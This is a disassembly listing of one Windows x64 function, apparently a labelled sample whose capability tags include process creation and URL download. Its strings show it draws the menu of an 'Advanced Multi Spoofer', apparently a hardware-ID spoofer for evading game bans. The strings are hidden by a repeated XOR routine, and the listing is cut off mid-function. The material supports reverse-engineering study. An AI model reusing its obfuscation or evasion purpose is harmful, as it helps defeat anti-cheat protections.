Function at 0x14006c4b0
Capabilities:
Create process on windows
Download url
Receive data
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0xeaa8
call fcn.14029b010
sub rsp, rax
mov rax, qword [0x1403d15a0]
xor rax, rsp
mov qword [rsp + 0xea90], rax
mov eax, 4
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140406ec8], eax
jle 0x14006c526
lea rcx, [0x140406ec8]
call fcn.14029a3a0
cmp dword [0x140406ec8], 0xffffffff
jne 0x14006c526
call fcn.14006bac0
mov qword [0x1404073b0], rax
lea rcx, [0x140406ec8]
call fcn.14029a340
mov eax, 4
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140406f10], eax
jle 0x14006c598
lea rcx, [0x140406f10]
call fcn.14029a3a0
cmp dword [0x140406f10], 0xffffffff
jne 0x14006c598
movss xmm0, dword [0x14039ceb0]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cea4]
movss xmm2, dword [0x14039cea4]
movss xmm1, dword [0x14039ceb0]
lea rcx, [0x140406eb8]
call fcn.14006c230
nop
lea rcx, [0x140406f10]
call fcn.14029a340
mov eax, 4
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140406fd8], eax
jle 0x14006c60a
lea rcx, [0x140406fd8]
call fcn.14029a3a0
cmp dword [0x140406fd8], 0xffffffff
jne 0x14006c60a
movss xmm0, dword [0x14039ceb0]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039ce18]
movss xmm2, dword [0x14039ce18]
movss xmm1, dword [0x14039cea0]
lea rcx, [0x140406f80]
call fcn.14006c230
nop
lea rcx, [0x140406fd8]
call fcn.14029a340
movss xmm2, dword [0x14039ceb8]
movss xmm1, dword [0x14039cec0]
lea rcx, [rsp + 0x1668]
call fcn.14005eef0
xor edx, edx
lea rcx, [rsp + 0x1668]
call fcn.1400cd2b0
xor eax, eax
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf0], al
mov eax, 1
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf1], al
mov eax, 2
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf2], al
mov eax, 3
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf3], al
mov eax, 4
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf4], al
mov eax, 5
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf5], al
mov eax, 6
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf6], al
mov eax, 7
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf7], al
mov eax, 8
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf8], al
mov eax, 9
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf9], al
mov eax, 0xa
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfa], al
mov eax, ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfb], al
mov eax, ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfc], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfd], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfe], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xff], al
mov eax, reloc.WS2_32.dll_recv
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x100], al
mov eax, reloc.WS2_32.dll_recvfrom
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x101], al
mov eax, reloc.WS2_32.dll_select
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x102], al
mov eax, reloc.WS2_32.dll_send
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x103], al
mov eax, reloc.WS2_32.dll_sendto
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x104], al
mov eax, reloc.WS2_32.dll_setsockopt
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x105], al
mov eax, reloc.WS2_32.dll_shutdown
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x106], al
mov eax, reloc.WS2_32.dll_socket
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x107], al
mov eax, Ordinal_26
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x108], al
mov byte [rsp + 0x109], 0
mov byte [rsp + 0x10a], 1
lea rcx, [rsp + 0xf0]
call fcn.14005d600
mov r8d, 3
xor edx, edx
mov rcx, rax
call fcn.1400c9c10
lea rcx, [rsp + 0x1cf8]
call fcn.1400cdf90
movss xmm2, dword [0x14039ce28]
movss xmm1, dword [rax]
lea rcx, [rsp + 0x1d00]
call fcn.14005eef0
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.TopBar
call fcn.1400c6d00
lea rcx, [rsp + 0x1de0]
call fcn.1400cdf90
movss xmm0, dword [rax]
divss xmm0, dword [0x14039cda0]
subss xmm0, dword [0x14039ce38]
call fcn.1400cddb0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
mov r8d, 0xff
mov edx, 0xff
lea rcx, [rsp + 0x87e8]
call fcn.14005ef30
mov qword [rsp + 0x1c78], rax
lea rdx, [rsp + 0x1d08]
mov rcx, qword [rsp + 0x1c78]
call fcn.14005ef80
lea rdx, str.ADVANCED_MULTI_SPOOFER_V2
lea rcx, [rsp + 0x1d08]
call fcn.1400f4430
call fcn.1400c6db0
mov ecx, 1
call fcn.14006bc60
lea rcx, [rsp + 0x1de8]
call fcn.1400cdf90
movss xmm2, dword [rax + 4]
movss xmm1, dword [0x14039ce5c]
lea rcx, [rsp + 0x1df0]
call fcn.14005eef0
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.LeftSide
call fcn.1400c6d00
mov rax, qword [0x1404073b0]
mov eax, dword [rax]
lea rcx, [0x140406eb8]
lea rdx, [0x140406f80]
cmp eax, 1
cmove rdx, rcx
mov rax, rdx
mov qword [rsp + 0x1c80], rax
mov rdx, qword [rsp + 0x1c80]
xor ecx, ecx
call fcn.1400bfd20
movss xmm2, dword [0x14039ce24]
movss xmm1, dword [0x14039ce54]
lea rcx, [rsp + 0x1df8]
call fcn.14005eef0
mov rdx, rax
lea rcx, str.Sofware
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14006cc0e
mov rax, qword [0x1404073b0]
mov dword [rax], 1
call fcn.1400f6410
mov rax, qword [0x1404073b0]
mov eax, dword [rax]
lea rcx, [0x140406eb8]
lea rdx, [0x140406f80]
cmp eax, 3
cmove rdx, rcx
mov rax, rdx
mov qword [rsp + 0x1c88], rax
mov rdx, qword [rsp + 0x1c88]
xor ecx, ecx
call fcn.1400bfd20
movss xmm2, dword [0x14039ce24]
movss xmm1, dword [0x14039ce54]
lea rcx, [rsp + 0x1e00]
call fcn.14005eef0
mov rdx, rax
lea rcx, str.Protection
call fcn.1400f5190
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 6
jne 0x14006cca3
xor ecx, ecx
call fcn.1400c6960
movzx eax, al
test eax, eax
je 0x14006cca3
mov rax, qword [0x1404073b0]
mov dword [rax], 3
call fcn.1400f6410
mov rax, qword [0x1404073b0]
mov eax, dword [rax]
lea rcx, [0x140406eb8]
lea rdx, [0x140406f80]
cmp eax, 2
cmove rdx, rcx
mov rax, rdx
mov qword [rsp + 0x1c90], rax
mov rdx, qword [rsp + 0x1c90]
xor ecx, ecx
call fcn.1400bfd20
movss xmm2, dword [0x14039ce24]
movss xmm1, dword [0x14039ce54]
lea rcx, [rsp + 0x1e08]
call fcn.14005eef0
mov rdx, rax
lea rcx, str.Need_Help_
call fcn.1400f5190
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 6
jne 0x14006cd38
xor ecx, ecx
call fcn.1400c6960
movzx eax, al
test eax, eax
je 0x14006cd38
mov rax, qword [0x1404073b0]
mov dword [rax], 2
mov edx, 0xff1d1ddb
xor ecx, ecx
call fcn.1400bfc50
call fcn.1400f6410
movss xmm2, dword [0x14039ce24]
movss xmm1, dword [0x14039ce54]
lea rcx, [rsp + 0x1cb8]
call fcn.14005eef0
mov rdx, rax
lea rcx, str.Exit
call fcn.1400f5190
xor ecx, ecx
call fcn.1400c6960
movzx eax, al
test eax, eax
je 0x14006cd8b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 4
call fcn.1400bfd80
call fcn.1400c6db0
call fcn.14006be50
xor edx, edx
mov ecx, 3
call fcn.1400bfc50
call fcn.14006c210
movss dword [rsp + 0x168], xmm0
call fcn.14006c1d0
movss dword [rsp + 0x16c], xmm0
movss xmm2, dword [rsp + 0x168]
movss xmm1, dword [rsp + 0x16c]
lea rcx, [rsp + 0x1cc0]
call fcn.14005eef0
xor r9d, r9d
mov r8b, 1
mov rdx, rax
lea rcx, str.RightSide
call fcn.1400c6d00
mov ecx, 1
call fcn.1400bfd80
mov rax, qword [0x1404073b0]
mov eax, dword [rax]
mov dword [rsp + 0x160], eax
movsxd rax, dword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
dec eax
test eax, eax
je 0x14006ce43
dec eax
test eax, eax
je 0x1400a9b75
dec eax
test eax, eax
je 0x140071071
jmp 0x1400aa1fd
movzx eax, byte [0x140406e90]
test eax, eax
je 0x14006ce60
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 1
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 8
jne 0x14006cf5b
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x213], 1
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aa290
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x213]
test eax, eax
jne 0x14006cf5b
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x214]
test eax, eax
jne 0x14006cef1
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x215]
test eax, eax
jne 0x14006cef1
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x211], 0
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 5
jmp 0x14006cf5b
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x215]
test eax, eax
je 0x14006cf27
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x215], 0
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 7
jmp 0x14006cf5b
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x214]
test eax, eax
je 0x14006cf5b
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x214], 0
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 6
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 5
jne 0x14006d02a
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aac80
movzx eax, al
test eax, eax
jne 0x14006d018
mov rax, qword [rsp + 0xeac0]
mov rcx, qword [rax + 0x238]
call fcn.1400ccf80
lea rax, [rsp + 0x1d18]
lea rcx, [0x1403fd468]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xeac0]
add rax, 0x40
mov rcx, rax
call fcn.14005d8d0
mov qword [rsp + 0x1c98], rax
lea rax, [rsp + 0x1d30]
lea rcx, [rsp + 0x1d18]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1d30]
mov r8b, 1
mov rdx, qword [rsp + 0x1c98]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400cd020
jmp 0x14006d02a
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 3
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 7
jne 0x14006e9e3
mov rcx, qword [rsp + 0xeac0]
call fcn.1400ab150
call fcn.1400f63c0
call fcn.1400f63c0
movss xmm2, dword [0x14039ceb4]
movss xmm1, dword [0x14039cec4]
lea rcx, [rsp + 0x1ca0]
call fcn.14005eef0
xor edx, edx
lea rcx, [rsp + 0x1ca0]
call fcn.1400cd290
movss xmm2, dword [0x14039ce34]
movss xmm1, dword [0x14039ce74]
lea rcx, [rsp + 0x1ca8]
call fcn.14005eef0
lea rcx, [rsp + 0x1ca8]
call fcn.1400cdce0
lea rax, [rsp + 0x1d40]
lea rcx, [0x1403fd468]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor eax, eax
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x110], al
mov eax, 1
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x111], al
mov eax, 2
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x112], al
mov eax, 3
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x113], al
mov eax, 4
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x114], al
mov eax, 5
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x115], al
mov eax, 6
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x116], al
mov eax, 7
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x117], al
mov eax, 8
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x118], al
mov eax, 9
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x119], al
mov eax, 0xa
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11a], al
mov eax, ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11b], al
mov eax, ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11c], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11d], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11e], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11f], al
mov eax, reloc.WS2_32.dll_recv
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x120], al
mov eax, reloc.WS2_32.dll_recvfrom
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x121], al
mov eax, reloc.WS2_32.dll_select
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x122], al
mov eax, reloc.WS2_32.dll_send
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x123], al
mov eax, reloc.WS2_32.dll_sendto
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x124], al
mov eax, reloc.WS2_32.dll_setsockopt
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x125], al
mov eax, reloc.WS2_32.dll_shutdown
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x126], al
mov eax, reloc.WS2_32.dll_socket
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x127], al
mov eax, Ordinal_26
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x128], al
mov eax, Ordinal_26
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x129], al
mov eax, reloc.WLDAP32.dll_Ordinal_26
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12a], al
mov eax, reloc.WLDAP32.dll_Ordinal_27
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12b], al
mov eax, Ordinal_32
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12c], al
mov eax, Ordinal_32
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + reloc.WLDAP32.dll_Ordinal_301], al
mov eax, reloc.WLDAP32.dll_Ordinal_30
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12e], al
mov eax, Ordinal_32
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12f], al
mov eax, reloc.WLDAP32.dll_Ordinal_32
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x130], al
mov eax, reloc.WLDAP32.dll_Ordinal_33
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x131], al
mov eax, Ordinal_35
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x132], al
mov eax, reloc.WLDAP32.dll_Ordinal_35
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x133], al
mov eax, 0x24
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x134], al
mov eax, Ordinal_41
add rax, 0xffffffffffffffe0
mov ecx, 1
